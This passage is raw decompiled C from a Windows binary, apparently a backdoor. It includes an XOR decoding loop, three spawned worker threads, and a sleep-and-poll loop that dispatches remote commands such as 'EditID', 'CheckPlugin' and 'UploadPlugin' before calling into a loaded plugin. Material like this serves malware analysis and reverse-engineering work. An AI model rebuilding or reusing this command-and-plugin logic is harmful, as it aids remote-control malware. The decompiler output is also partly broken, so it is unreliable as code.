  1860. uint32_t v27 = (int32_t)*(char *)v18 + v26; // 0x401949
  1861. unsigned char v28 = *(char *)(v27 % v25 - 268 + g2); // 0x401950
  1862. int32_t result = (int32_t)v28 | v27 / v25 & 256; // eax
  1863. char * v29 = (char *)v24; // 0x401957
  1864. *v29 = *v29 ^ v28;
  1865. int32_t v30 = v9 + 1; // 0x401959
  1866. g3 = v30;
  1867. if (v30 >= v10) {
  1868. // 0x401962
  1869. g7 = v11;
  1870. // branch -> 0x401963
  1871. // 0x401963
  1872. g5 = v4;
  1873. g3 = v3;
  1874. return result;
  1875. }
  1876. // 0x4018f9
  1877. v12 = g7;
  1878. v13 = v17;
  1879. v9 = v21;
  1880. // branch -> 0x4018fc
  1881. }
  1882. }
  1883. // 0x401963
  1884. g5 = v4;
  1885. g3 = v3;
  1886. return 0;
  1887. }
  1888.  
  1889. // Address range: 0x401967 - 0x4019d5
  1890. int32_t function_401967(void) {
  1891. int32_t v1 = function_404b60(); // 0x40196c
  1892. unsigned char v2 = *(char *)(g2 - 13); // 0x401973
  1893. int32_t v3 = g4; // esi
  1894. int32_t v4 = g5; // 0x40197a
  1895. int32_t v5 = 0; // ebx
  1896. g5 = g4 + 24;
  1897. *(char *)(g4 + 4) = 1;
  1898. *(int32_t *)(v3 + 20) = v5;
  1899. *(int32_t *)(g2 - 20) = v3;
  1900. *(char *)g5 = (char)((int32_t)v2 | v1 & -256);
  1901. int32_t v6 = function_402e17(v5, 0, v4); // 0x401990
  1902. g1 = v6;
  1903. *(int32_t *)(g5 + 4) = v6;
  1904. *(int32_t *)(g5 + 8) = v5;
  1905. g4 = v3 + 60;
  1906. *(int32_t *)(g2 - 4) = v5;
  1907. g1 = function_4030a1();
  1908. g4 = g7 + 0x9d4c;
  1909. *(char *)(g2 - 4) = 1;
  1910. function_403722();
  1911. *(int32_t *)g7 = (int32_t)&g10;
  1912. InitializeCriticalSection((struct _RTL_CRITICAL_SECTION *)(g7 + 36));
  1913. abort();
  1914. // UNREACHABLE
  1915. }
  1916.  
  1917. // Address range: 0x4019d6 - 0x4019f1
  1918. int32_t function_4019d6(char a1) {
  1919. int32_t v1 = g7; // 0x4019d6
  1920. g7 = g4;
  1921. function_4019f2(v1);
  1922. if ((a1 & 1) != 0) {
  1923. // 0x4019e5
  1924. __3f__3f_3_40_YAXPAX_40_Z(g7);
  1925. // branch -> 0x4019ec
  1926. }
  1927. // 0x4019ec
  1928. return g7;
  1929. }
  1930.  
  1931. // Address range: 0x4019f2 - 0x401a8a
  1932. int32_t function_4019f2(int32_t a1) {
  1933. // 0x4019f2
  1934. function_404b60();
  1935. int32_t v1 = g4; // 0x4019fc
  1936. int32_t v2 = g7; // 0x4019fd
  1937. g7 = v1;
  1938. *(int32_t *)(g2 - 16) = v1;
  1939. *(int32_t *)g7 = (int32_t)&g10;
  1940. int32_t hHandle = *(int32_t *)(g7 + 8); // 0x401a12
  1941. *(int32_t *)(g2 - 4) = 2;
  1942. *(char *)(g7 + 4) = 1;
  1943. WaitForSingleObject((int32_t *)hHandle, (int32_t)(struct _RTL_CRITICAL_SECTION *)-1);
  1944. WaitForSingleObject((int32_t *)*(int32_t *)(g7 + 12), -1);
  1945. WaitForSingleObject((int32_t *)*(int32_t *)(g7 + 16), -1);
  1946. g5 = 0x6b4a;
  1947. CloseHandle((int32_t *)*(int32_t *)(g7 + 8));
  1948. CloseHandle((int32_t *)*(int32_t *)(g7 + 12));
  1949. CloseHandle((int32_t *)*(int32_t *)(g7 + 16));
  1950. struct _RTL_CRITICAL_SECTION * lpCriticalSection = (struct _RTL_CRITICAL_SECTION *)(g7 + 36); // 0x401a48
  1951. DeleteCriticalSection(lpCriticalSection);
  1952. g4 = g7;
  1953. function_402d95();
  1954. g4 = g7 + 0x9d4c;
  1955. *(char *)(g2 - 4) = 1;
  1956. function_40378b((int32_t)lpCriticalSection);
  1957. *(char *)(g2 - 4) = 0;
  1958. g4 = g7 + 60;
  1959. function_4030e9((int32_t)lpCriticalSection);
  1960. *(int32_t *)(g2 - 4) = -1;
  1961. g4 = g7 + 24;
  1962. function_402db4();
  1963. g7 = v2;
  1964. abort();
  1965. // UNREACHABLE
  1966. }
  1967.  
  1968. // Address range: 0x401a8b - 0x401b5e
  1969. int32_t function_401a8b(char * str4, int32_t a2, int32_t a3, int32_t a4, int32_t a5) {
  1970. char * str5 = (char *)a3; // bp+12
  1971. char * str3 = (char *)a2;
  1972. char * v1 = (char *)a4; // bp-8
  1973. char * v2 = (char *)a5;
  1974. // branch -> 0x401a9d
  1975. int32_t v3; // 0x401b5a
  1976. while (true) {
  1977. int32_t str = __3f__3f_2_40_YAPAXI_40_Z(1256); // 0x401aa2
  1978. int32_t v4 = str; // esi
  1979. memset((int32_t *)str, 0, 1256);
  1980. strcpy((char *)str, g21);
  1981. int32_t str2 = (int32_t)g34; // 0x401ad6
  1982. if (g34 == NULL) {
  1983. // 0x401acf
  1984. str2 = *(int32_t *)0x4060a8;
  1985. // branch -> 0x401ad4
  1986. }
  1987. int32_t v5 = v4; // 0x401ad7
  1988. strncpy((char *)(v5 + 2), (char *)str2, 64);
  1989. strncpy((char *)(v5 + 130), (char *)*(int32_t *)&str3, 32);
  1990. int32_t v6 = v4; // 0x401aed
  1991. strncpy((char *)(v6 + 66), (char *)*(int32_t *)&str4, 64);
  1992. strncpy((char *)(v6 + 162), (char *)*(int32_t *)&str5, 64);
  1993. char * v7 = v2 < (char *)1024 ? v2 : (char *)1024;
  1994. int32_t v8 = (int32_t)v7; // 0x401b1b
  1995. *(int32_t *)(v4 + 228) = v8;
  1996. int32_t v9 = *(int32_t *)&v1; // 0x401b2518
  1997. memcpy((int32_t *)(v4 + 232), (int32_t *)v9, (int32_t)v7);
  1998. g4 = &g50;
  1999. int32_t v10 = function_4026e4(v4); // 0x401b3d
  2000. v3 = v10;
  2001. char * v11 = v2;
  2002. if ((char)v10 != 0) {
  2003. // 0x401b46
  2004. v1 = (char *)(v9 + v8);
  2005. v3 = v8;
  2006. v11 = (char *)((int32_t)v2 - v8);
  2007. // branch -> 0x401b4f
  2008. }
  2009. // 0x401b4f
  2010. if (v11 == NULL) {
  2011. // break -> 0x401b59
  2012. break;
  2013. }
  2014. v2 = v11;
  2015. // continue -> 0x401a9d
  2016. }
  2017. // 0x401b59
  2018. return v3 & -256 | 1;
  2019. }
  2020.  
  2021. // Address range: 0x401b5f - 0x401bb5
  2022. int32_t function_401b5f(void) {
  2023. int32_t lpThreadId = g4; // bp-8
  2024. int32_t lpThreadAttributes = 0; // ebx
  2025. char * v1 = (char *)(g4 + 4); // 0x401b69
  2026. int32_t result; // 0x401bac
  2027. if (*v1 != 0) {
  2028. // 0x401b6e
  2029. *v1 = 0;
  2030. lpThreadId = lpThreadAttributes;
  2031. int32_t * threadHandle = CreateThread(NULL, 0, (int32_t (*)(int32_t *))0x402167, (int32_t *)g4, 0, &lpThreadId); // 0x401b88
  2032. *(int32_t *)(g4 + 16) = (int32_t)threadHandle;
  2033. int32_t * threadHandle2 = CreateThread((struct _SECURITY_ATTRIBUTES *)lpThreadAttributes, lpThreadAttributes, (int32_t (*)(int32_t *))0x401bb6, (int32_t *)g4, lpThreadAttributes, &lpThreadId); // 0x401b9a
  2034. *(int32_t *)(g4 + 8) = (int32_t)threadHandle2;
  2035. int32_t * threadHandle3 = CreateThread((struct _SECURITY_ATTRIBUTES *)lpThreadAttributes, lpThreadAttributes, (int32_t (*)(int32_t *))0x402023, (int32_t *)g4, lpThreadAttributes, &lpThreadId); // 0x401bac
  2036. result = (int32_t)threadHandle3;
  2037. *(int32_t *)(g4 + 12) = result;
  2038. // branch -> 0x401bb2
  2039. }
  2040. // 0x401bb2
  2041. return result;
  2042. }
  2043.  
  2044. // Address range: 0x401bb6 - 0x402022
  2045. int32_t function_401bb6(void) {
  2046. // 0x401bb6
  2047. function_404b60();
  2048. int32_t n = g3; // 0x401bc6
  2049. char * str2 = (char *)g7; // bp-892
  2050. int32_t v1 = *(int32_t *)(g2 + 8); // 0x401bc8
  2051. g7 = v1;
  2052. char * dwMilliseconds = (char *)g5; // bp-896
  2053. if (*(int32_t *)(v1 + 20) == 0 || *(char *)(v1 + 4) != 0) {
  2054. // 0x402010
  2055. abort();
  2056. // UNREACHABLE
  2057. }
  2058. int32_t v2 = (int32_t)&dwMilliseconds; // 0x401be0
  2059. while (true) {
  2060. int32_t * v3 = (int32_t *)(v2 - 4); // 0x401be0
  2061. *v3 = 1;
  2062. Sleep((int32_t)dwMilliseconds);
  2063. int32_t v4 = *(int32_t *)*(int32_t *)(g7 + 20); // eax
  2064. *v3 = 0x401bf0;
  2065. __pseudo_call(*(int32_t *)(v4 + 12));
  2066. int32_t v5 = v4; // 0x401bf0
  2067. if ((char)v5 != 0) {
  2068. unsigned char v6 = *(char *)(g2 + 11); // 0x401bf4
  2069. int32_t v7 = 0; // ebx
  2070. *(int32_t *)(g8 - 4) = 0;
  2071. *(char *)(g2 - 40) = (char)((int32_t)v6 | v5 & -256);
  2072. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
  2073. int32_t v8 = &g24; // edi
  2074. *(int32_t *)(g2 - 4) = v7;
  2075. *(int32_t *)(g8 - 4) = v8;
  2076. *(int32_t *)g8 = strlen(dwMilliseconds);
  2077. *(int32_t *)(g8 - 4) = v8;
  2078. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)dwMilliseconds, (int32_t)str2);
  2079. *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
  2080. *(int32_t *)(g8 - 8) = v7;
  2081. *(int32_t *)(g8 - 12) = (int32_t)&g33;
  2082. _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z();
  2083. *(int32_t *)(g8 - 4) = v8;
  2084. *(int32_t *)g8 = strlen(dwMilliseconds);
  2085. *(int32_t *)(g8 - 4) = v8;
  2086. _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)dwMilliseconds, (int32_t)str2);
  2087. char * v9 = (char *)(g2 - 96); // 0x401c48
  2088. *v9 = (char)v7 & *v9;
  2089. v4 = 0;
  2090. int32_t v10 = g2 - 95; // 0x401c4d
  2091. *(int32_t *)v10 = 0;
  2092. int32_t v11 = v10 + 4; // 0x401c50
  2093. *(int32_t *)v11 = v4;
  2094. int32_t v12 = v11 + 4; // 0x401c51
  2095. *(int32_t *)v12 = v4;
  2096. *(int32_t *)(v12 + 4) = v4;
  2097. *(int32_t *)(g8 - 4) = rand();
  2098. *(int32_t *)(g8 - 8) = (int32_t)"%016d";
  2099. *(int32_t *)(g8 - 12) = g2 - 96;
  2100. int32_t * str;
  2101. sprintf((char *)&str, (char *)&str);
  2102. *(int32_t *)(g8 - 4) = g2 - 96;
  2103. *(int32_t *)(g8 + 12) = strlen(dwMilliseconds);
  2104. *(int32_t *)(g8 + 8) = g2 - 96;
  2105. _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)dwMilliseconds, (int32_t)str2);
  2106. g5 = 1256;
  2107. if (-function_402c52() < 0xffff67e8) {
  2108. lab_0x401d09:;
  2109. int32_t v13 = g5; // 0x401d1028
  2110. if (function_402c52() >= v13) {
  2111. while (true) {
  2112. // 0x401d14
  2113. *(int32_t *)(g8 - 4) = v13;
  2114. int32_t v14 = __3f__3f_2_40_YAPAXI_40_Z((int32_t)dwMilliseconds); // 0x401d15
  2115. g3 = v14;
  2116. *(int32_t *)g8 = v14;
  2117. g4 = g7;
  2118. function_402c6c();
  2119. int32_t v15; // 0x401d5a
  2120. if (g38 != 1) {
  2121. // 0x401d5a
  2122. v15 = g8 - 4;
  2123. *(int32_t *)v15 = *(int32_t *)&g16;
  2124. // branch -> 0x401d60
  2125. } else {
  2126. int32_t v16 = g8 - 4; // 0x401d2e
  2127. *(int32_t *)v16 = (int32_t)&g30;
  2128. v15 = v16;
  2129. // branch -> 0x401d60
  2130. }
  2131. // 0x401d60
  2132. *(int32_t *)(v15 - 4) = g5;
  2133. *(int32_t *)(v15 - 8) = g3;
  2134. function_4018b0();
  2135. int32_t v17 = g2; // 0x401d67
  2136. *(char *)(v17 - 56) = *(char *)(v17 + 11);
  2137. *(int32_t *)(g8 - 4) = 0;
  2138. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
  2139. *(int32_t *)(g8 - 4) = g3 + 2;
  2140. *(int32_t *)g8 = strlen(dwMilliseconds);
  2141. *(int32_t *)(g8 - 4) = g3 + 2;
  2142. int32_t v18 = _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)dwMilliseconds, (int32_t)str2); // 0x401d8d
  2143. unsigned char v19 = *(char *)(g2 + 11); // 0x401d93
  2144. *(int32_t *)(g8 - 4) = 0;
  2145. *(char *)(g2 - 4) = 1;
  2146. *(char *)(g2 - 72) = (char)((int32_t)v19 | v18 & -256);
  2147. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
  2148. *(int32_t *)(g8 - 4) = g3 + 130;
  2149. *(int32_t *)g8 = strlen(dwMilliseconds);
  2150. *(int32_t *)(g8 - 4) = g3 + 130;
  2151. int32_t v20 = _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)dwMilliseconds, (int32_t)str2); // 0x401dc0
  2152. int32_t v21 = g2; // 0x401dc6
  2153. int32_t v22 = g8 - 16; // 0x401dc9
  2154. int32_t v23 = v22; // ecx
  2155. *(int32_t *)(v21 - 16) = v22;
  2156. *(int32_t *)(g8 - 4) = 0;
  2157. *(char *)(g2 - 4) = 2;
  2158. *(int32_t *)(g2 - 16) = v23;
  2159. int32_t v24 = (int32_t)*(char *)(v21 - 56) | v20 & -256; // 0x401dda
  2160. *(char *)v23 = (char)v24;
  2161. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
  2162. *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
  2163. *(int32_t *)(g8 - 8) = 0;
  2164. *(int32_t *)(g8 - 12) = g2 - 56;
  2165. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z((int32_t)dwMilliseconds, (int32_t)str2, n);
  2166. g4 = g7 + 60;
  2167. int32_t v25 = function_403152(); // 0x401dfb
  2168. *(int32_t *)(g8 - 4) = (int32_t)&g21;
  2169. *(int32_t *)(g8 - 8) = g3;
  2170. *(int32_t *)(g2 - 20) = v25;
  2171. int32_t * v26 = (int32_t *)g8; // 0x401e0e
  2172. int32_t * v27 = (int32_t *)(g8 + 4); // 0x401e11
  2173. int32_t v28; // 0x401d0b
  2174. int32_t v29; // 0x401d10
  2175. if (strcmp(dwMilliseconds, str2) != 0) {
  2176. // 0x401f09
  2177. *v27 = (int32_t)&g23;
  2178. *v26 = g3;
  2179. if (strcmp(dwMilliseconds, str2) != 0) {
  2180. // 0x401f26
  2181. *(int32_t *)(g8 + 4) = (int32_t)&g22;
  2182. *(int32_t *)g8 = g3;
  2183. if (strcmp(dwMilliseconds, str2) == 0) {
  2184. // 0x401f3b
  2185. *(int32_t *)(g8 + 4) = 400;
  2186. *(int32_t *)(g2 - 16) = *(int32_t *)(g3 + 228);
  2187. *(int32_t *)(g8 - 4) = g3 + 232;
  2188. *(int32_t *)(g8 - 8) = g2 - 896;
  2189. memcpy((int32_t *)dwMilliseconds, (int32_t *)str2, n);
  2190. *(int32_t *)(g8 - 4) = 100;
  2191. *(int32_t *)(g2 - 76) = *(int32_t *)(g2 - 16);
  2192. *(int32_t *)(g8 - 4) = g31;
  2193. int32_t v30 = g2; // 0x401f6b
  2194. int32_t v31 = v30 - 896; // 0x401f6e
  2195. g7 = v31;
  2196. int32_t v32 = v30 - 496; // 0x401f74
  2197. g5 = v32;
  2198. *(int32_t *)(g8 - 8) = (int32_t)&g29;
  2199. *(int32_t *)(g8 - 12) = v30 - 76;
  2200. _memcpy((char *)v32, (char *)v31, 100);
  2201. *(int32_t *)(g8 - 4) = g2 - 496;
  2202. function_401652();
  2203. int32_t v33 = 0; // 0x401f93
  2204. v4 = v33 + 4;
  2205. int32_t v34 = 4 * v33 / 4 - 496 + g2; // 0x401f9b
  2206. uint32_t v35 = *(int32_t *)v34; // 0x401f9b
  2207. v8 = v35;
  2208. *(char *)(v33 + 0x4084a8) = (char)(v35 / 0x1000000);
  2209. *(char *)(v4 + 0x4084a5) = (char)(v8 / 0x10000);
  2210. *(char *)(v4 + 0x4084a6) = (char)(v8 / 256);
  2211. *(char *)(v4 + 0x4084a7) = *(char *)v34;
  2212. // branch -> 0x401f93
  2213. while (v4 < 64) {
  2214. // 0x401f93
  2215. v33 = v4;
  2216. v4 = v33 + 4;
  2217. v34 = 4 * v33 / 4 - 496 + g2;
  2218. v35 = *(int32_t *)v34;
  2219. v8 = v35;
  2220. *(char *)(v33 + 0x4084a8) = (char)(v35 / 0x1000000);
  2221. *(char *)(v4 + 0x4084a5) = (char)(v8 / 0x10000);
  2222. *(char *)(v4 + 0x4084a6) = (char)(v8 / 256);
  2223. *(char *)(v4 + 0x4084a7) = *(char *)v34;
  2224. // continue -> 0x401f93
  2225. }
  2226. // 0x401fd7
  2227. g7 = *(int32_t *)(g2 + 8);
  2228. g38 = 1;
  2229. g5 = 1256;
  2230. // branch -> 0x401fe6
  2231. }
  2232. } else {
  2233. // 0x401f1a
  2234. g37 = 1;
  2235. // branch -> 0x401fe6
  2236. }
  2237. lab_0x401fe6_5:
  2238. // 0x401fe6
  2239. *(int32_t *)(g8 - 4) = g3;
  2240. __3f__3f_3_40_YAXPAX_40_Z((int32_t)dwMilliseconds);
  2241. *(char *)(g2 - 4) = 1;
  2242. *(int32_t *)(g8 - 4) = 1;
  2243. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
  2244. *(char *)(g2 - 4) = 0;
  2245. *(int32_t *)(g8 - 4) = 1;
  2246. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
  2247. v28 = function_402c52();
  2248. v29 = g5;
  2249. if (v28 < v29) {
  2250. // break -> 0x401d46
  2251. break;
  2252. }
  2253. v13 = v29;
  2254. // continue -> 0x401d14
  2255. continue;
  2256. } else {
  2257. // 0x401e18
  2258. *v27 = (int32_t)"EditID";
  2259. *v26 = g3 + 162;
  2260. if (strcmp(dwMilliseconds, str2) == 0) {
  2261. goto lab_0x401fe6_5;
  2262. }
  2263. int32_t v36 = g8 + 8; // 0x401e87
  2264. if (*(int32_t *)(g2 - 20) == 0) {
  2265. // 0x401e39
  2266. *(int32_t *)(g8 + 4) = 88;
  2267. int32_t v37 = __3f__3f_2_40_YAPAXI_40_Z((int32_t)dwMilliseconds); // 0x401e3b
  2268. g1 = v37;
  2269. *(int32_t *)(g2 - 16) = v37;
  2270. *(char *)(g2 - 4) = 3;
  2271. if (v37 == 0) {
  2272. // 0x401e5c
  2273. *(int32_t *)(g2 - 16) = 0;
  2274. // branch -> 0x401e60
  2275. } else {
  2276. // 0x401e4c
  2277. g4 = v37 + 72;
  2278. function_402e3b();
  2279. int32_t * v38 = (int32_t *)(g2 - 16); // 0x401e54
  2280. // branch -> 0x401e60
  2281. }
  2282. // 0x401e60
  2283. *(int32_t *)(g8 - 4) = 64;
  2284. *(int32_t *)(g8 - 8) = g3 + 2;
  2285. *(char *)(g2 - 4) = 2;
  2286. *(int32_t *)(g8 - 4) = *(int32_t *)(g2 - 16);
  2287. g1 = (int32_t)strncpy(dwMilliseconds, str2, n);
  2288. g4 = g7 + 60;
  2289. *(int32_t *)(g8 + 8) = *(int32_t *)(g2 - 16);
  2290. function_4031bc();
  2291. v36 = g8;
  2292. // branch -> 0x401e81
  2293. }
  2294. // 0x401e81
  2295. *(int32_t *)(v36 - 4) = (int32_t)"CheckPlugin";
  2296. *(int32_t *)(v36 - 8) = g3 + 162;
  2297. int32_t v39 = g8;
  2298. if (strcmp(dwMilliseconds, str2) != 0) {
  2299. // 0x401e98
  2300. *(int32_t *)(g8 + 4) = (int32_t)"UploadPlugin";
  2301. *(int32_t *)g8 = g3 + 162;
  2302. if (strcmp(dwMilliseconds, str2) != 0) {
  2303. int32_t v40 = *(int32_t *)(g2 - 20); // 0x401ec1
  2304. if (v40 == 0) {
  2305. goto lab_0x401fe6_5;
  2306. }
  2307. // 0x401ecb
  2308. *(int32_t *)(g8 + 4) = v40;
  2309. int32_t v41 = g2; // 0x401ece
  2310. *(int32_t *)(v41 - 16) = g8 - 12;
  2311. *(int32_t *)(g8 - 4) = v41 - 72;
  2312. _3f__3f_0_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z((int32_t)dwMilliseconds);
  2313. g4 = *(int32_t *)(g2 - 20) + 72;
  2314. int32_t v42 = function_402edd(); // 0x401ee6
  2315. if (v42 == 0) {
  2316. goto lab_0x401fe6_5;
  2317. }
  2318. // 0x401ef3
  2319. *(int32_t *)(g8 - 4) = g5;
  2320. *(int32_t *)(g8 - 8) = g3;
  2321. *(int32_t *)(g8 - 12) = *(int32_t *)(v42 + 536);
  2322. *(int32_t *)(g8 - 16) = 0x401f01;
  2323. __pseudo_call(*(int32_t *)(v42 + 520));
  2324. // branch -> 0x401fe6
  2325. goto lab_0x401fe6_5;
  2326. } else {
  2327. v39 = g8;
  2328. }
  2329. }
  2330. // 0x401eaf
  2331. *(int32_t *)(v39 + 4) = g5;
  2332. *(int32_t *)v39 = g3;
  2333. g4 = g7 + 0x9d4c;
  2334. function_403805();
  2335. // branch -> 0x401fe6
  2336. goto lab_0x401fe6_5;
  2337. }
  2338. int32_t v43 = g3; // 0x401fe6
  2339. int32_t v44 = g8; // 0x401fe6
  2340. *(int32_t *)(v44 - 4) = v43;
  2341. char * v45 = dwMilliseconds; // 0x401fe7
  2342. v4 = __3f__3f_3_40_YAXPAX_40_Z((int32_t)v45);
  2343. int32_t v46 = g2; // 0x401fed
  2344. *(char *)(v46 - 4) = 1;
  2345. int32_t v47 = g8; // 0x401ff1
  2346. *(int32_t *)(v47 - 4) = 1;
  2347. int32_t v48 = g2; // 0x401ff3
  2348. v23 = v48 - 72;
  2349. char * v49 = dwMilliseconds; // 0x401ff6
  2350. v4 = _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)v49);
  2351. int32_t v50 = g2; // 0x401ffc
  2352. *(char *)(v50 - 4) = 0;
  2353. int32_t v51 = g8; // 0x402000
  2354. *(int32_t *)(v51 - 4) = 1;
  2355. int32_t v52 = g2; // 0x402002
  2356. v23 = v52 - 56;
  2357. char * v53 = dwMilliseconds; // 0x402005
  2358. v4 = _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)v53);
  2359. int32_t v54 = g7; // 0x401d09
  2360. v23 = v54;
  2361. v28 = function_402c52();
  2362. v4 = v28;
  2363. v29 = g5;
  2364. if (v28 < v29) {
  2365. // break -> 0x401d46
  2366. break;
  2367. }
  2368. v13 = v29;
  2369. // continue -> 0x401d14
  2370. }
  2371. lab_0x401d46:
  2372. // 0x401d46
  2373. *(int32_t *)(g2 - 4) = -1;
  2374. *(int32_t *)(g8 - 4) = 1;
  2375. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
  2376. // branch -> 0x401bd6
  2377. lab_0x401bd6_3:
  2378. // 0x401bd6
  2379. if (*(char *)(g7 + 4) != 0) {
  2380. // 0x401bd6
  2381. // branch -> 0x402010
  2382. // 0x402010
  2383. abort();
  2384. // UNREACHABLE
  2385. }
  2386. lab_0x401bd6_4:
  2387. // 0x401bd6
  2388. v2 = g8;
  2389. // branch -> 0x401be0
  2390. continue;
  2391. }
  2392. } else {
  2393. // 0x401c9b
  2394. *(int32_t *)(g8 - 4) = 1256;
  2395. int32_t v55 = __3f__3f_2_40_YAPAXI_40_Z((int32_t)dwMilliseconds); // 0x401c9c
  2396. *(int32_t *)(g2 - 24) = v55;
  2397. int32_t v56 = g2; // 0x401ca7
  2398. *(int32_t *)(v56 - 16) = g8;
  2399. *(int32_t *)(g8 - 4) = 0;
  2400. int32_t v57 = (int32_t)*(char *)(v56 - 40) | v55 & -256; // 0x401cb3
  2401. *(char *)g8 = (char)v57;
  2402. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
  2403. *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
  2404. *(int32_t *)(g8 - 8) = 0;
  2405. *(int32_t *)(g8 - 12) = g2 - 40;
  2406. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z((int32_t)dwMilliseconds, (int32_t)str2, n);
  2407. *(int32_t *)(g8 - 4) = g5;
  2408. *(int32_t *)(g8 - 8) = g2 - 24;
  2409. v4 = *(int32_t *)*(int32_t *)(g7 + 20);
  2410. *(int32_t *)(g8 - 12) = 0x401cdd;
  2411. __pseudo_call(*(int32_t *)(v4 + 16));
  2412. if (v4 >= 1) {
  2413. lab_0x401cf5:
  2414. // 0x401cf5
  2415. *(int32_t *)(g8 - 4) = v4;
  2416. g4 = g7;
  2417. *(int32_t *)(g8 - 8) = *(int32_t *)(g2 - 24);
  2418. function_402cef();
  2419. *(int32_t *)(g8 - 4) = *(int32_t *)(g2 - 24);
  2420. __3f__3f_3_40_YAXPAX_40_Z((int32_t)dwMilliseconds);
  2421. // branch -> 0x401d09
  2422. goto lab_0x401d09;
  2423. lab_0x401d46_2:
  2424. // 0x401d46
  2425. *(int32_t *)(g2 - 4) = -1;
  2426. *(int32_t *)(g8 - 4) = 1;
  2427. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
  2428. // branch -> 0x401bd6
  2429. goto lab_0x401bd6_3;
  2430. }
  2431. // 0x401d35
  2432. *(int32_t *)(g8 - 4) = 0x401d3d;
  2433. __pseudo_call(*(int32_t *)(*(int32_t *)*(int32_t *)(g7 + 20) + 8));
  2434. *(int32_t *)(g8 - 4) = *(int32_t *)(g2 - 24);
  2435. __3f__3f_3_40_YAXPAX_40_Z((int32_t)dwMilliseconds);
  2436. // branch -> 0x401d46
  2437. goto lab_0x401d46_2;
  2438. }
  2439. // 0x401d46
  2440. *(int32_t *)(g2 - 4) = -1;
  2441. *(int32_t *)(g8 - 4) = 1;
  2442. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
  2443. // branch -> 0x401bd6
  2444. goto lab_0x401bd6_3;
  2445. }
  2446. // 0x401bd6
  2447. if (*(char *)(g7 + 4) == 0) {
  2448. goto lab_0x401bd6_4;
  2449. }
  2450. // 0x401bd6
  2451. // branch -> 0x402010
  2452. // 0x402010
  2453. abort();
  2454. // UNREACHABLE
  2455. }
  2456. }
  2457.  
  2458. // Address range: 0x402023 - 0x402166
  2459. int32_t function_402023(void) {
  2460. // 0x402023
  2461. function_404b60();
  2462. int32_t v1 = g3; // 0x402030
  2463. int32_t v2 = g7; // 0x402031
  2464. char * dwMilliseconds = (char *)g5; // bp-48
  2465. int32_t v3 = *(int32_t *)(g2 + 8); // 0x402033
  2466. g5 = v3;
  2467. if (*(int32_t *)(v3 + 20) == 0) {
  2468. // 0x402154
  2469. abort();
  2470. // UNREACHABLE
  2471. }
